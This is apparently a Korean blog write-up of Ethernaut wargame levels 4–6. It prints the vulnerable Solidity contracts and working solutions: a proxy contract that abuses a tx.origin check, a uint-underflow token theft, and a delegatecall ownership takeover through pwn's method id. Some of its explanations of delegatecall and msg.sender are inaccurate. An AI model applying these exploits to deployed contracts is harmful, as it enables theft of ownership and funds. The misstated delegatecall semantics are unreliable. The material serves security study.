Ethnaut을 통한 컨트랙트 취약점 공부 (4~6번)

4. telephone

오너십을 가져오는 문제

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

※ Tx.origin, msg.sender

tx.origin 속성, msg.sender가 어떠한 값을 가져오는지를 알아야하는 문제이다. 보통의 경우에는 함수를 호출한다면 msg.sender가 본인의 EOA 이므로 tx.origin 또한 같을 수 밖에 없다. 다른방식으로 접근하여야한다.

풀이

/ SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

contract Telehack {
    function hack() public {
    Telephone(0x2cECb39b231911c4539D1d102A3294c7577a1462).changeOwner("내 주소");
    }
}

이런식으로 다른 컨트랙트를 통해서 호출해주게 된다면 changeOwner함수의 호출자인 msg.sender는 Telehack이라는 컨트랙트의 CA주소가 되므로, tx.origin 과 msg.sender가 다른 값을 갖게되어 if문을 통과하고, 호출하면서 적어줬던 주소로 owner가 바뀌게 된다.

5. Token

20개의 토큰을 가진 상황에서 추가로 토큰을 가져오는 문제

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

※ uint 언더플로우

uint의 경우 음수에 대한 범위는 지정되지 않는다는 점에 주의해야한다. transfer 함수의 require부분을 보면 로직상 토큰을 가지고 있지 않다면 결제가 되지 않도록 해놓았지만, 토큰이 없는 사람의 계정이라도 uint가 음(-)의 값을 가지게 되는 순간 언더플로우로 인해 오히려 상당히 큰 수가 되어버린다. 겉으로 보기에 로직은 맞는듯하지만 uint의 특성을 잘 파악해야한다.

풀이

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

contract hack {
    function haack() public {
    Token(0x76E1eC644Bff791E709444B9B97f059A4c464B46).transfer("내 주소", value);
    }
}

위의 문제처럼 다른 컨트랙트를 만들어주고, haack함수로 호출하는 방식을 통해 transfer함수를 실행시켜준다. 이렇게 한다면 msg.sender는 CA주소로 CA주소가 토큰을 가지고 있지않아도 언더플로우로

require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;

이 부분까지 통과하게 되고, 이후

balances[_to] += _value;

이 부분에는 사용자가 적은 주소에 해당하는 value만 정상적으로 받을 수 있게 된다.

언더플로우 관련 내용은 전에 한번 다룬적이 있었으니 참고하면 좋을것 같다.

https://velog.io/@knave/7.28
게시글 마지막부분 컨트랙트 설계시 취약점 부분에 적혀있다.

6. Delegation

오너십을 가져오는 문제

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

※ Delegation call ★

일반 적인 call을 통해 다른 컨트랙트의 함수를 불러와서 사용하는 것과 달리, delegate call은 두가지 차이점이 있다.

  • msg.sender
  • target 컨트랙트의 데이터 변화 x

일반적으로 새로만든 컨트랙트( 위 telephone과 Token의 경우 Telehack, hack)에서 기존 컨트랙트의 함수를 call 방법으로 호출해서 사용하게 되면 해당 함수를 호출한 주소(msg.sender)는 사용자가 새로만든 컨트랙트의 CA로 표시되지만 delegatecall방법으로 호출할 경우 CA주소가 아닌 Tx.origin으로 호출한 본인의 EOA가 표시되게 된다.

그리고 call의 경우 특정 변수를 변화 시키는 함수를 호출하게 되면 기존 컨트랙트에서의 값을 변화 시키지만, delegatecall의 경우 해당 함수를 사용하고, 연산 등을 통해 변화된 값을 얻어올 수는 있지만, 기존 컨트랙트에 이미 입력되어 있던 값들을 변화시키지는 않는다. 쉽게 생각하면 임시 형식으로 기존 컨트랙트의 클론? 카피? 를 만들어서 사용하는 방식이다.

이러한 방법은 솔리디티 내에서 라이브러리 방식을 사용할때 사용된다고 한다. 현재는 library라는 기능이 생겨서 delegatecall을 사용하지는 않지만, call과는 다른 방식으로 무엇을 호출할때 사용할 수 있고, 취약점으로 작용할 수 있다는 것에 주의하면 될듯하다.

※ Method id

특정 컨트랙트의 함수를 실행할때, 함수 실행의 트랜잭션 부분을 살펴보면 data 부분에 함수의 정보를 확인할 수 있다. 이는 함수의 이름을 keccak256으로 해시한후에 앞의 4bytes 데이터, 즉 앞의 8자리를 가져온 값으로 이를 method id라고 부른다.

위의 Delegation 문제의 경우 두번째 Delegation 컨트랙트에서 fallback 함수가 받는 데이터가 msg.data이므로 Delegation 컨트랙트 CA 주소에 트랜잭션을 보낼때 hex data적는란에 특정 함수의 method ids를 넣어준다면 해당 함수를 실행할 수 있게된다.

풀이

이미 선언된 컨트랙트의 오너십을 가져오기 위해서는 Delegate 컨트랙트의 pwn함수를 사용해야한다. delegate call을 통해 호출하면 호출자인 msg.sender가 CA가 아닌 tx.origin인 사용자 본인이 된다는 점과 Delegate 컨트랙트의 pwn함수의 method id를 알아내면 Delegation 컨트랙트의 fallback함수를 활용 할 수 있다는 점을 이용하면 된다. method id는 해당 컨트랙트 코드를 리믹스에 적고 컴파일한 후에 Compile detail을 확인하면 Function Hashes 부분에 컨트랙트에 존재하는 함수별 method id를 쉽게 확인 할 수있다.

Delegation CA에 알아낸 pwn함수의 method ids를 hex data에 넣고 트랜잭션을 보내면 자동으로 Delegate컨트랙트의 pwn함수가 실행되고, 이 과정속에서 msg.sender는 delegatecall 사용했으므로 사용자 본인의 EOA로 적용되어 성공적으로 오너십을 가져올 수 있게된다.

cf). pwn 함수의 method id는 dd365b8b

Call과 delegatecall 예시

// SPDX-License-Identifier: MIT
pragma solidity 0.8.6;

contract Target {
    
    uint public num;
    
    event Test(uint a, uint b, address c);
    
    function test(uint _a, uint _b ) public returns (uint){
        num = _a + _b;
        emit Test(_a, _b, msg.sender);
        return _a + _b;
    }
    
   
}

contract Calling{
    
    uint public num;
    
    function callTest(address _contract, uint _a, uint _b) public returns (bool, bytes memory, address){
        (bool success, bytes memory data) = address(_contract).call(abi.encodeWithSignature("test(uint256,uint256)", _a, _b));
        return (success, data, _contract);
    }
    
    function delegatecallTest(address _contract, uint _a, uint _b) public returns (bool, bytes memory, address) {
        (bool success, bytes memory data) = address(_contract).delegatecall(abi.encodeWithSignature("test(uint256,uint256)", _a, _b));
        return (success, data, _contract);
    }
}

Calling 컨트랙트에는 callTest, delegatecallTest 두 함수가 있는데 둘 다 Target컨트랙트의 test함수를 호출한다. 간단한 덧셈 연산이지만 callTest delegatecallTest 에 같은 3,3이라는 값을 넣으면 일단 결과로 리턴되는 값은 6으로 동일하겠지만 Target 컨트랙트의 num 이라는 변수의 값을 변화시킨것은 callTest이다. delegatecallTest 는 Target컨트랙트의 test함수를 사용만 했을뿐 Target 컨트랙트의 어떤 변수에도 변화를 주지 않았다. delegatecallTest에 새로 6,6이라는 값을 넣어도 12라는 리턴 값이 돌아오겠지만, Target 컨트랙트의 num변수는 전에 callTest가 바꿔놨던 6이라는 값으로 그대로 유지된다.

call, delegatecall 속성에 대한 도식화된 설명

좋은 웹페이지 즐겨찾기